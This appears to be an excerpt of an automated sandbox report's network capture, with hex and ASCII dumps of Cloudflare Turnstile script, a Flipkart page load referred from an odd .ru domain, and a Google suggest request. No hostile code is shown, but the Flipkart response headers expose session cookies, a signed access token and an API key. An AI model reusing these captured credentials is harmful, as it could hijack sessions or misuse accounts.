65 64 69 72 65 63 74 Data Ascii: xecute",e.AutoExpire="auto_expire",e.AutoTimeout="auto_timeout",e.ManualRefresh="manual_refresh",e.Api="api",e.CheckDelays="check_delays",e.TimeCheckCachedWarningAux="time_check_cached_warning_aux",e.JsCookiesMissingAux="js_cookies_missing_aux",e.Redirect
2025-03-14 12:29:04 UTC	1369	IN	Data Raw: 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 74 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 4c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 74 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 Data Ascii: rams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&t.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearanceLevel!=="default"&&t.set("clearance_level",e.params._debugS
2025-03-14 12:29:04 UTC	1369	IN	Data Raw: 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 5f 29 7d 76 61 72 20 53 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 61 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 43 65 2e 46 61 69 6c 75 72 65 46 65 65 64 62 61 63 6b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 43 65 2e 46 61 69 6c 75 72 65 48 61 76 69 6e 67 54 72 6f 75 62 6c 65 73 2c 6c 2c 76 3d 4c 28 4d 72 2c 28 6c 3d 28 74 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 74 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c Data Ascii: language,"/").concat(_)}var St=function(e){var t,a,o=window.innerWidth<400,c=e.state===Ce.FailureFeedback\|\|e.state===Ce.FailureHavingTroubles,l,v=L(Mr,(l=(t=e.displayLanguage)===null\|\|t===void 0?void 0:t.toLowerCase())!==null&&l!==void 0?l:"nonexistent"),
2025-03-14 12:29:04 UTC	1369	IN	Data Raw: 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 4f 65 28 65 2c 74 2c 61 29 7b 72 65 74 75 72 6e 20 42 65 28 29 3f 4f 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 4f 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 76 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 6c 29 3b 76 61 72 20 73 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 73 3b 72 65 74 75 72 6e 20 76 26 26 74 65 28 70 2c 76 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 4f 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 Data Ascii: l(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Oe(e,t,a){return Be()?Oe=Reflect.construct:Oe=function(c,l,v){var h=[null];h.push.apply(h,l);var s=Function.bind.apply(c,h),p=new s;return v&&te(p,v.prototype),p},Oe.apply(null,a
2025-03-14 12:29:04 UTC	1369	IN	Data Raw: 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 67 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 66 72 28 61 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 58 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 71 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 71 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 24 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 71 65 29 2e 63 6f 6e 63 61 74 Data Ascii: r));function g(e,t){var a="[Cloudflare Turnstile] ".concat(e,".");throw new fr(a,t)}function x(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function Xe(e){return e.startsWith(qe)?e.substring(qe.length):null}function $(e){return"".concat(qe).concat
2025-03-14 12:29:04 UTC	1369	IN	Data Raw: 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 73 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 73 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 73 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 73 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 73 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 73 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 Data Ascii: height="100vh",s.style.top="0",s.style.left="0",s.style.transformOrigin="center center",s.style.overflowX="hidden",s.style.overflowY="auto",s.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verti

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:05 UTC	687	OUT	GET / HTTP/1.1 Host: www.flipkart.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://p00.ajpslwqc.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:06 UTC	2948	IN	HTTP/1.1 200 OK server: nginx date: Fri, 14 Mar 2025 12:29:05 GMT content-type: text/html; charset=utf-8 content-length: 1200663 vary: Accept-Encoding Set-Cookie: T=TI174195534566200117375504449787771147492982180130938279149567920705; Max-Age=31536000; Domain=flipkart.com; Path=/; Expires=Sat, 14 Mar 2026 12:29:05 GMT; Secure; SameSite=None Set-Cookie: SN=2.VIF664935161C24EFBA45BA15E8714B97D.SIE065130A49A349DEB54B9F92C9744B68.VS4AFDF0E9F6F0467DACBE0DE90AE96C90.1741955345; Max-Age=31536000; Domain=flipkart.com; Path=/; Expires=Sat, 14 Mar 2026 12:29:05 GMT; HttpOnly Set-Cookie: at=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjFkOTYzYzUwLTM0YjctNDA1OC1iMTNmLWY2NDhiODFjYTBkYSJ9.eyJleHAiOjE3NDM2ODMzNDUsImlhdCI6MTc0MTk1NTM0NSwiaXNzIjoia2V2bGFyIiwianRpIjoiZWI3ZGUzMjAtOGI2NS00ZGU3LTkwNWYtOTI5ZDI5N2ZkYmQyIiwidHlwZSI6IkFUIiwiZElkIjoiVEkxNzQxOTU1MzQ1NjYyMDAxMTczNzU1MDQ0NDk3ODc3NzExNDc0OTI5ODIxODAxMzA5MzgyNzkxNDk1Njc5MjA3MDUiLCJrZXZJZCI6IlZJQjc1N0M5NEUyNkUxNDk4MTkwRTEyNUM3MDhGRjYxRUIiLCJ0SWQiOiJtYXBpIiwidnMiOiJMTyIsInoiOiJIWUQiLCJtIjp0cnVlLCJnZW4iOjR9.EtSAGR_EFgiEiaBHsicVEUtin6V6U3_3oWDKlw6zX7k; Max-Age=31536000; Domain=flipkart.com; Path=/; Expires=Sat, 14 Mar 2026 12:29:05 GMT; HttpOnly Set-Cookie: K-ACTION=null; Max-Age=31536000; Domain=flipkart.com; Path=/; Expires=Sat, 14 Mar 2026 12:29:05 GMT; HttpOnly Set-Cookie: ud=5.VXW-ysm2i3hk2Taf_e6V5OOqdQ4UU7nJL-0dJbB0LbUWty44qNSQVUN1IYVI-8KfZZMjJ7h6KOL-SfW7BDRuWHBFhWGp8ZnY61mBNDKeX9a8TpqBaLRvBe2WEvPOc3lSqLlmu-t1Ofo10sa1A9lHuQ; Max-Age=31536000; Domain=flipkart.com; Path=/; Expires=Sat, 14 Mar 2026 12:29:05 GMT; HttpOnly content-security-policy: default-src 'self' https://.flipkart.com https://.flixcart.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://.flixcart.com https://js-agent.newrelic.com https://bam.nr-data.net https://dpm.demdex.net https://flipkart.d1.sc.omtrdc.net https://www.youtube.com https://s.ytimg.com http://dpm.demdex.net https://smartplugin.youbora.com https://a-fds.youborafds01.com https://www.googletagmanager.com blob: 'nonce-3304832349725500595'; style-src 'self' 'unsafe-inline' https://.flixcart.com; img-src 'self' * data: blob:; media-src 'self' https://.flixcart.com data: blob: ; font-src 'self' https://.flixcart.com data:; frame-src 'self' https://.flipkart.com http://.flipkart.com https://www.youtube.com https://cdemux.appspot.com blob: fknative:// https://.flixcart.com https://.surepass.io; worker-src 'self' https://.flipkart.com blob:; connect-src 'self' ; base-uri 'self' x-request-id: BR-cm88r8iym0t4o15cqgxz7fqvu cache-control: private, no-cache, no-store, must-revalidate, max-age=0 expires: Thu, 01 Jan 1970 00:00:00 GMT pragma: no-cache etag: b15b7d761b47d82895938854f1272caf last-modified: Sun, 23 Mar 2025 04:51:26 GMT accept-ch: Sec-CH-UA,Sec-CH-UA-Arch,Sec-CH-UA-Full-Version,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Model,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version connection: close
2025-03-14 12:29:06 UTC	5341	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 49 4e 22 20 63 6c 61 73 73 3d 22 75 73 65 49 6e 74 65 72 46 6f 6e 74 22 3e 20 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 2e 72 6f 6d 65 2e 61 70 69 2e 66 6c 69 70 6b 61 72 74 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 32 2e 72 6f 6d 65 2e 61 70 69 2e 66 6c 69 70 6b 61 72 74 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2d 61 73 73 65 74 73 2d 77 65 62 2e 66 6c 69 78 63 61 72 74 Data Ascii: <!DOCTYPE html> <html lang="en-IN" class="useInterFont"> <head><link rel="dns-prefetch" href="https://1.rome.api.flipkart.com"><link rel="dns-prefetch" href="https://2.rome.api.flipkart.com"><link rel="preconnect" href="https://static-assets-web.flixcart
2025-03-14 12:29:06 UTC	1448	IN	Data Raw: 63 68 2d 73 74 61 72 74 75 70 2d 69 6d 61 67 65 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 20 61 6e 64 20 28 64 65 76 69 63 65 2d 77 69 64 74 68 3a 20 38 33 34 70 78 29 20 61 6e 64 20 28 64 65 76 69 63 65 2d 68 65 69 67 68 74 3a 20 31 31 31 32 70 78 29 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 20 32 29 20 61 6e 64 20 28 6f 72 69 65 6e 74 61 74 69 6f 6e 3a 20 70 6f 72 74 72 61 69 74 29 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 75 6b 6d 69 6e 69 6d 31 2e 66 6c 69 78 63 61 72 74 2e 63 6f 6d 2f 77 77 77 2f 31 36 36 38 2f 32 32 32 34 2f 70 72 6f 6d 6f 73 2f 31 39 2f 30 37 2f 32 30 32 34 2f 36 64 32 33 30 38 62 33 2d 30 64 62 35 2d 34 66 33 62 2d 62 39 63 34 2d 32 30 33 65 66 37 31 30 37 61 38 Data Ascii: ch-startup-image" media="screen and (device-width: 834px) and (device-height: 1112px) and (-webkit-device-pixel-ratio: 2) and (orientation: portrait)" href="https://rukminim1.flixcart.com/www/1668/2224/promos/19/07/2024/6d2308b3-0db5-4f3b-b9c4-203ef7107a8
2025-03-14 12:29:06 UTC	1448	IN	Data Raw: 62 69 6c 65 73 69 74 65 2f 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 61 6c 3a 69 6f 73 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 3a 2f 2f 6f 76 6d 6f 62 69 6c 65 73 69 74 65 2f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 32 38 37 34 66 30 22 20 69 64 3d 22 74 68 65 6d 65 43 6f 6c 6f 72 22 3e 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 4f 6e 6c 69 6e 65 20 53 68 6f 70 70 69 6e 67 20 69 6e 20 49 6e 64 69 61 2c 6f 6e 6c 69 6e 65 20 53 68 6f 70 70 69 6e 67 20 73 74 6f 72 65 2c 4f 6e 6c 69 6e 65 20 53 68 6f 70 70 69 6e 67 20 53 69 74 65 2c 42 75 79 20 4f 6e 6c 69 6e 65 2c 53 68 6f 70 20 4f 6e 6c 69 6e 65 2c 4f 6e 6c Data Ascii: bilesite/"><meta property="al:ios:url" content="http://ovmobilesite/"><meta name="theme-color" content="#2874f0" id="themeColor"> <meta name="Keywords" content="Online Shopping in India,online Shopping store,Online Shopping Site,Buy Online,Shop Online,Onl
2025-03-14 12:29:06 UTC	5792	IN	Data Raw: 49 44 3a 22 31 35 38 38 37 35 39 35 32 38 22 7d 3b 0a 09 09 09 3b 4e 52 45 55 4d 2e 69 6e 66 6f 3d 7b 62 65 61 63 6f 6e 3a 22 62 61 6d 2e 6e 72 2d 64 61 74 61 2e 6e 65 74 22 2c 65 72 72 6f 72 42 65 61 63 6f 6e 3a 22 62 61 6d 2e 6e 72 2d 64 61 74 61 2e 6e 65 74 22 2c 6c 69 63 65 6e 73 65 4b 65 79 3a 22 4e 52 4a 53 2d 64 64 35 66 31 36 63 64 66 39 35 37 31 32 63 36 63 62 61 22 2c 61 70 70 6c 69 63 61 74 69 6f 6e 49 44 3a 22 31 35 38 38 37 35 39 35 32 38 22 2c 73 61 3a 31 7d 3b 0a 09 09 09 3b 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6e 72 2d 6c 6f 61 64 65 72 2d 73 70 61 2d 31 2e 32 33 36 2e 30 2e 6d 69 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 09 09 09 28 28 29 3d Data Ascii: ID:"1588759528"};;NREUM.info={beacon:"bam.nr-data.net",errorBeacon:"bam.nr-data.net",licenseKey:"NRJS-dd5f16cdf95712c6cba",applicationID:"1588759528",sa:1};;/! For license information please see nr-loader-spa-1.236.0.min.js.LICENSE.txt /(()=
2025-03-14 12:29:06 UTC	3600	IN	Data Raw: 6d 65 6e 74 4d 6f 64 65 29 2c 66 3d 21 21 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 7d 2c 31 31 31 37 3a 28 65 2c 74 2c 72 29 3d 3e 7b 72 2e 64 28 74 2c 7b 77 3a 28 29 3d 3e 6f 7d 29 3b 76 61 72 20 6e 3d 72 28 35 30 29 3b 63 6f 6e 73 74 20 69 3d 7b 61 67 65 6e 74 49 64 65 6e 74 69 66 69 65 72 3a 22 22 2c 65 65 3a 76 6f 69 64 20 30 7d 3b 63 6c 61 73 73 20 6f 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 29 7b 74 72 79 7b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 65 29 72 65 74 75 72 6e 28 30 2c 6e 2e 5a 29 28 22 73 68 61 72 65 64 20 63 6f 6e 74 65 78 74 20 72 65 71 75 69 72 65 73 20 61 6e 20 6f 62 6a 65 63 74 20 61 73 20 69 6e 70 75 74 22 29 3b 74 68 69 73 2e 73 68 61 72 65 64 43 6f 6e 74 65 78 74 3d 7b 7d 2c 4f 62 6a 65 63 Data Ascii: mentMode),f=!!navigator.sendBeacon},1117:(e,t,r)=>{r.d(t,{w:()=>o});var n=r(50);const i={agentIdentifier:"",ee:void 0};class o{constructor(e){try{if("object"!=typeof e)return(0,n.Z)("shared context requires an object as input");this.sharedContext={},Objec
2025-03-14 12:29:06 UTC	2896	IN	Data Raw: 72 29 3d 3e 7b 72 2e 64 28 74 2c 7b 48 74 3a 28 29 3d 3e 75 2c 4d 3a 28 29 3d 3e 63 2c 52 6c 3a 28 29 3d 3e 61 2c 6b 79 3a 28 29 3d 3e 73 7d 29 3b 76 61 72 20 6e 3d 72 28 33 38 35 29 3b 63 6f 6e 73 74 20 69 3d 22 78 78 78 78 78 78 78 78 2d 78 78 78 78 2d 34 78 78 78 2d 79 78 78 78 2d 78 78 78 78 78 78 78 78 78 78 78 78 22 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 3f 31 35 26 65 5b 74 5d 3a 31 36 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7c 30 7d 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 63 6f 6e 73 74 20 65 3d 6e 2e 5f 41 3f 2e 63 72 79 70 74 6f 7c 7c 6e 2e 5f 41 3f 2e 6d 73 43 72 79 70 74 6f 3b 6c 65 74 20 74 2c 72 3d 30 3b 72 65 74 75 72 6e 20 65 26 26 65 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 26 26 28 74 3d 65 2e Data Ascii: r)=>{r.d(t,{Ht:()=>u,M:()=>c,Rl:()=>a,ky:()=>s});var n=r(385);const i="xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx";function o(e,t){return e?15&e[t]:16*Math.random()\|0}function a(){const e=n._A?.crypto\|\|n._A?.msCrypto;let t,r=0;return e&&e.getRandomValues&&(t=e.
2025-03-14 12:29:06 UTC	1200	IN	Data Raw: 28 72 29 29 72 65 74 75 72 6e 3b 65 2e 61 64 64 28 72 29 7d 72 65 74 75 72 6e 20 72 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 2c 69 28 29 29 7d 63 61 74 63 68 28 65 29 7b 74 72 79 7b 6e 2e 65 65 2e 65 6d 69 74 28 22 69 6e 74 65 72 6e 61 6c 2d 65 72 72 6f 72 22 2c 5b 65 5d 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 7d 7d 2c 33 39 36 30 3a 28 65 2c 74 2c 72 29 3d 3e 7b 72 2e 64 28 74 2c 7b 4b 3a 28 29 3d 3e 61 2c 62 3a 28 29 3d 3e 6f 7d 29 3b 76 61 72 20 6e 3d 72 28 33 32 33 39 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 7c 7c 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 64 6f Data Ascii: (r))return;e.add(r)}return r}};function o(e){try{return JSON.stringify(e,i())}catch(e){try{n.ee.emit("internal-error",[e])}catch(e){}}}},3960:(e,t,r)=>{r.d(t,{K:()=>a,b:()=>o});var n=r(3239);function i(){return"undefined"==typeof document\|\|"complete"===do
2025-03-14 12:29:06 UTC	15928	IN	Data Raw: 6f 6e 3a 6f 2e 65 72 72 6f 72 42 65 61 63 6f 6e 2c 2e 2e 2e 74 7d 7d 28 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 65 3d 61 28 29 3b 63 6f 6e 73 74 20 74 3d 65 2e 69 6e 69 74 7c 7c 7b 7d 3b 65 2e 69 6e 69 74 3d 7b 2e 2e 2e 74 7d 7d 28 29 2c 73 28 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 65 3d 61 28 29 3b 63 6f 6e 73 74 20 74 3d 65 2e 6c 6f 61 64 65 72 5f 63 6f 6e 66 69 67 7c 7c 7b 7d 3b 65 2e 6c 6f 61 64 65 72 5f 63 6f 6e 66 69 67 3d 7b 2e 2e 2e 74 7d 7d 28 29 2c 61 28 29 7d 7d 2c 37 39 35 36 3a 28 65 2c 74 2c 72 29 3d 3e 7b 72 2e 64 28 74 2c 7b 4e 3a 28 29 3d 3e 69 7d 29 3b 76 61 72 20 6e 3d 72 28 33 32 33 39 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 6c 65 74 20 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 Data Ascii: on:o.errorBeacon,...t}}(),function(){let e=a();const t=e.init\|\|{};e.init={...t}}(),s(),function(){let e=a();const t=e.loader_config\|\|{};e.loader_config={...t}}(),a()}},7956:(e,t,r)=>{r.d(t,{N:()=>i});var n=r(3239);function i(e){let t=arguments.length>1&&v
2025-03-14 12:29:06 UTC	16320	IN	Data Raw: 36 2e 30 2e 6d 69 6e 2e 6a 73 22 29 2c 69 2e 6f 3d 28 65 2c 74 29 3d 3e 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 65 2c 74 29 2c 65 3d 7b 7d 2c 74 3d 22 4e 52 42 41 3a 22 2c 69 2e 6c 3d 28 72 2c 6e 2c 6f 2c 61 29 3d 3e 7b 69 66 28 65 5b 72 5d 29 65 5b 72 5d 2e 70 75 73 68 28 6e 29 3b 65 6c 73 65 7b 76 61 72 20 73 2c 63 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 6f 29 66 6f 72 28 76 61 72 20 75 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 2c 64 3d 30 3b 64 3c 75 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 66 3d 75 5b 64 5d 3b 69 66 28 66 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 29 3d 3d 72 7c 7c Data Ascii: 6.0.min.js"),i.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),e={},t="NRBA:",i.l=(r,n,o,a)=>{if(e[r])e[r].push(n);else{var s,c;if(void 0!==o)for(var u=document.getElementsByTagName("script"),d=0;d<u.length;d++){var f=u[d];if(f.getAttribute("src")==r\|\|
2025-03-14 12:29:06 UTC	2960	IN	Data Raw: 69 73 2e 69 6d 70 6f 72 74 41 67 67 72 65 67 61 74 6f 72 28 29 29 7d 7d 76 61 72 20 65 65 3d 69 28 33 36 31 34 29 3b 63 6f 6e 73 74 7b 42 53 54 5f 52 45 53 4f 55 52 43 45 3a 74 65 2c 52 45 53 4f 55 52 43 45 3a 72 65 2c 53 54 41 52 54 3a 6e 65 2c 45 4e 44 3a 69 65 2c 46 45 41 54 55 52 45 5f 4e 41 4d 45 3a 6f 65 2c 46 4e 5f 45 4e 44 3a 61 65 2c 46 4e 5f 53 54 41 52 54 3a 73 65 2c 50 55 53 48 5f 53 54 41 54 45 3a 63 65 7d 3d 65 65 3b 76 61 72 20 75 65 3d 69 28 37 38 33 36 29 3b 63 6f 6e 73 74 7b 46 45 41 54 55 52 45 5f 4e 41 4d 45 3a 64 65 2c 53 54 41 52 54 3a 66 65 2c 45 4e 44 3a 6c 65 2c 42 4f 44 59 3a 68 65 2c 43 42 5f 45 4e 44 3a 67 65 2c 4a 53 5f 54 49 4d 45 3a 70 65 2c 46 45 54 43 48 3a 6d 65 2c 46 4e 5f 53 54 41 52 54 3a 76 65 2c 43 42 5f 53 54 41 52 Data Ascii: is.importAggregator())}}var ee=i(3614);const{BST_RESOURCE:te,RESOURCE:re,START:ne,END:ie,FEATURE_NAME:oe,FN_END:ae,FN_START:se,PUSH_STATE:ce}=ee;var ue=i(7836);const{FEATURE_NAME:de,START:fe,END:le,BODY:he,CB_END:ge,JS_TIME:pe,FETCH:me,FN_START:ve,CB_STAR

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:06 UTC	487	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CO6MywE= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:06 UTC	1303	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 12:29:06 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-RNpjj2KmOc853Vmt8zKjEg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 